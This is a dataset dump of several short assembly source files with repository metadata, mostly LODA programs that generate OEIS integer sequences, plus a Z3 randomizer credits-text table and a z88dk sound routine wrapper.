; 2,14,198,2786,39202,551614,7761798,109216786,1536796802,21624372014,304278004998,4281516441986,60245508192802,847718631141214,11928306344169798,167844007449518386,2361744410637427202,33232265756373499214,467613464999866416198,6579820775754503325986,92585104325562912980002,1302771281333635285046014,18331383042996456903624198,257942133883284031935784786,3629521257408972904004611202,51071239737608904688000341614,718626877583933638536009393798,10111847525912679844192131854786
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
mul $2,7
add $3,$2
lpe
mov $0,$3
mul $0,2
| 43.125 | 478 | 0.810145 |
f88881337acc6acb2f890d411162438017f4d1f2 | 549 | asm | Assembly | oeis/010/A010985.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/010/A010985.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/010/A010985.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A010985: Binomial coefficient C(n,32).
; 1,33,561,6545,58905,435897,2760681,15380937,76904685,350343565,1471442973,5752004349,21090682613,73006209045,239877544005,751616304549,2254848913647,6499270398159,18053528883775,48459472266975,125994627894135,317986441828055,780512175396135,1866442158555975,4355031703297275,9929472283517787,22150361247847371,48402641245296107,103719945525634515,218169540588403635,450883717216034179,916312070471295267,1832624140942590534,3609714217008132870,7007092303604022630,13413576695470557606
add $0,32
bin $0,32
| 91.5 | 486 | 0.894353 |
b17f32a658371ca78e0ef1894241647ab70afca5 | 267 | asm | Assembly | programs/oeis/056/A056810.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/056/A056810.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/056/A056810.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A056810: Numbers whose fourth power is a palindrome.
; 0,1,11,101,1001,10001,100001,1000001,10000001,100000001,1000000001
sub $0,1
mov $2,$0
mov $3,$0
lpb $3
div $2,3
max $2,1
sub $3,2
lpe
mov $1,10
pow $1,$0
mov $4,$1
cmp $4,0
add $1,$4
add $1,$2
mov $0,$1
| 14.052632 | 68 | 0.644195 |
898e1014592fe4bf59e2c02b6cfc32e06adda591 | 501 | asm | Assembly | programs/oeis/314/A314668.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/314/A314668.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/314/A314668.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A314668: Coordination sequence Gal.6.115.6 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,5,9,13,17,21,25,29,33,37,41,45,50,55,59,63,67,71,75,79,83,87,91,95,100,105,109,113,117,121,125,129,133,137,141,145,150,155,159,163,167,171,175,179,183,187,191,195,200,205
mov $1,1
mov $2,$0
mov $3,$0
lpb $2,1
trn $1,$2
trn $2,11
mov $4,1
add $4,$2
add $1,$4
sub $2,1
lpe
lpb $3,1
add $1,4
sub $3,1
lpe
| 26.368421 | 177 | 0.668663 |
854aad4c1338bfec8d56870ed6dc338a9742e13a | 1,536 | asm | Assembly | stats/customtext.asm | KScl/z3rasm | 7739c9bd6a0c803b1e4e1f435af3178b8e04207b | [
"MIT"
] | null | null | null | stats/customtext.asm | KScl/z3rasm | 7739c9bd6a0c803b1e4e1f435af3178b8e04207b | [
"MIT"
] | null | null | null | stats/customtext.asm | KScl/z3rasm | 7739c9bd6a0c803b1e4e1f435af3178b8e04207b | [
"MIT"
] | null | null | null | ;================================================================================
; Text written by the randomizer
;--------------------------------------------------------------------------------
table "textmaps/credit_b_hi.map"
YourSpriteCreditsHi:
db 2, 55 : db " " ; $23F002
table "textmaps/credit_b_lo.map"
YourSpriteCreditsLo:
db 2, 55 : db " " ; $23F020
table "textmaps/credit_b_hi.map"
CollectionRateHi:
db 2, 55 : db "COLLECTION RATE /216" ; Counter at $23F057
table "textmaps/credit_b_lo.map"
CollectionRateLo:
db 2, 55 : db "COLLECTION RATE /216" ; Counter at $23F075
;--------------------------------------------------------------------------------
; Custom stat lines
;--------------------------------------------------------------------------------
table "textmaps/credit_b_hi.map"
ExtraStat1Hi:
db 2, 55 : db " " ; $23F07A
table "textmaps/credit_b_lo.map"
ExtraStat1Lo:
db 2, 55 : db " " ; $23F098
table "textmaps/credit_b_hi.map"
ExtraStat2Hi:
db 2, 55 : db " " ; $23F0B6
table "textmaps/credit_b_lo.map"
ExtraStat2Lo:
db 2, 55 : db " " ; $23F0D4
table "textmaps/credit_b_hi.map"
ExtraStat3Hi:
db 2, 55 : db " " ; $23F0F2
table "textmaps/credit_b_lo.map"
ExtraStat3Lo:
db 2, 55 : db " " ; $23F110
;--------------------------------------------------------------------------------
| 33.391304 | 81 | 0.413411 |
3a13410b5c15df2931e43598a633ba1984716789 | 252 | asm | Assembly | libsrc/_DEVELOPMENT/sound/bit/c/sdcc_ix/bit_beep_di.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/sound/bit/c/sdcc_ix/bit_beep_di.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/sound/bit/c/sdcc_ix/bit_beep_di.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; void bit_beep_di(uint16_t duration_ms, uint16_t frequency_hz)
SECTION code_sound_bit
PUBLIC _bit_beep_di
EXTERN l0_bit_beep_di_callee
_bit_beep_di:
pop af
pop hl
pop de
push de
push hl
push af
jp l0_bit_beep_di_callee
| 12 | 63 | 0.746032 |
72c8d1e8a6ae1531ae3d1fdc39a978bc0cf55a28 | 335 | asm | Assembly | programs/oeis/021/A021088.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/021/A021088.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/021/A021088.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A021088: Decimal expansion of 1/84.
; 0,1,1,9,0,4,7,6,1,9,0,4,7,6,1,9,0,4,7,6,1,9,0,4,7,6,1,9,0,4,7,6,1,9,0,4,7,6,1,9,0,4,7,6,1,9,0,4,7,6,1,9,0,4,7,6,1,9,0,4,7,6,1,9,0,4,7,6,1,9,0,4,7,6,1,9,0,4,7,6,1,9,0,4,7,6,1,9,0,4,7,6,1,9,0,4,7,6,1
add $0,1
mov $1,10
pow $1,$0
sub $1,6
mul $1,9
div $1,18
add $1,4
div $1,42
mod $1,10
mov $0,$1
| 23.928571 | 199 | 0.540299 |
e2a95db76d974a44da50ef91b2b99e23f5d20827 | 553 | asm | Assembly | programs/oeis/100/A100036.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/100/A100036.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/100/A100036.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A100036: a(n) = smallest m such that A100035(m) = n.
; 1,2,3,5,7,12,14,23,25,38,40,57,59,80,82,107,109,138,140,173,175,212,214,255,257,302,304,353,355,408,410,467,469,530,532,597,599,668,670,743,745,822,824,905,907,992,994,1083,1085,1178,1180,1277,1279,1380
mov $1,$0
lpb $0,4
seq $0,20639 ; Lpf(n): least prime dividing n (when n > 1); a(1) = 1. Or, smallest prime factor of n, or smallest prime divisor of n.
mov $2,$1
mod $1,1
add $1,1
cmp $1,$0
trn $0,2
add $1,$2
sub $1,2
add $15,$2
lpe
mul $1,$0
sub $1,$15
sub $0,$1
add $0,1
| 27.65 | 204 | 0.631103 |
2669c4dbe2b251542d694829efb3dc8c58b384f2 | 37 | asm | Assembly | test/assembler/push_i16_v/data/program.asm | jfitz/virtual-processor | b6aa15e7ed210ab862c9c80bbc7c46859ab50501 | [
"MIT"
] | null | null | null | test/assembler/push_i16_v/data/program.asm | jfitz/virtual-processor | b6aa15e7ed210ab862c9c80bbc7c46859ab50501 | [
"MIT"
] | null | null | null | test/assembler/push_i16_v/data/program.asm | jfitz/virtual-processor | b6aa15e7ed210ab862c9c80bbc7c46859ab50501 | [
"MIT"
] | null | null | null | MAIN: PUSH I16 14920
OUT
OUT
EXIT
| 7.4 | 20 | 0.702703 |
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